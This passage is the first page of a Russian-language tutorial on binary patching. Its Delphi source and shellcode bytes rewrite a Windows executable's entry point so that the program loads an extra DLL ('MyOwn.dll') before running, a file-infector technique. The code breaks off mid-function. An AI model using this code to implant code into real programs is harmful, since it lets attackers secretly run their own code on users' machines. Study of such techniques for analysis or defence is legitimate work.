// вы читаете...

Новости

ShellCode



:004033C0 776E ja 00403430
:004033C2 2E BYTE 02eh

:004033C3 64 BYTE 064h

:004033C4 6C insb
:004033C5 6C insb
:004033C6 00E9 add cl, ch
:004033C8 00000000 BYTE 4 DUP(0)

Что ж… Теперь можно перейти к написанию модифицирующей части.
Немного теории: требуется открыть модифицируемую прогу, найти в её таблице импорта указатель на LoadLibraryA, найти свободное место, в которое мы запишем код (в 95% программ есть “целинные участки” в секциях .text, CODE, DATA или .data). Поменять Original Entry Point на наш.
Вот пример кода:

program Exefiles;

{$APPTYPE CONSOLE}
uses
windows, ImageHlp;

type IMAGE_IMPORT_DESCRIPTOR=record // запись в таблице импорта
OriginalFirstThunk: DWORD;
TimeDateStamp : DWORD;
ForwarderChain : DWORD;
Name : DWORD;
FirstThunk : DWORD;
end;

TOE=record // структура секции
Name:array[0..7] of char;
SizeOfSect:dword;
RVA:dword;
RealSize:dword;
RVAinPE:dword;
a:array[0..11] of byte;
Attr:dword;
end;

const FuncName=’LoadLibraryA’;

var s:array[0..12] of char;
h:integer;
oe:toe;
_:IMAGE_DOS_HEADER;
IOH:IMAGE_NT_HEADERS;
__,hel:cardinal;
LLA:dword;
a,i:shortint;
iid: IMAGE_IMPORT_DESCRIPTOR;
SavedRVA,NewRVA:cardinal;
mas:array[0..11] of byte=($E8,0,0,0,0,$59,$83,$C1,$0d,$51,$FF,$15); // наш код
mas1:array[0..18] of byte=($EB,$0A,$4D,$79,$4F,$77,$6E,$2E,$64,$6C,$6C,0,$90,$90,$90,$90,$90,$90,$E9); // я дополнил код nop’ами. (Что б в Win32Dasm всё видно было)

// За RVA2Offset & Offset2RVA спасибо R4D][ :)
function RVA2Offset(hFile: THANDLE;RVA: Cardinal): Cardinal;
var
Base: Pointer;
ISH : PIMAGESECTIONHEADER;
INH : PIMAGENTHEADERS;
hFM : THANDLE;
begin
Result:=0;
hFM:=CreateFileMapping(hFile,nil,PAGE_READONLY,0,0,nil);
Base:=MapViewOfFile(hFM,FILE_MAP_READ,0,0,0);
if Base=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
INH:=ImageNTHeader(Base);
if INH=nil then
begin
UnMapViewOfFile(Base);
CloseHandle(hFM);
exit;
end;
ISH:=ImageRVAToSection(INH,Base,RVA);
if ISH=nil then
begin

Страницы: 1 2 3 4

Обсуждене

Отзывов нет на «ShellCode»

Ваш отзыв

Рубрики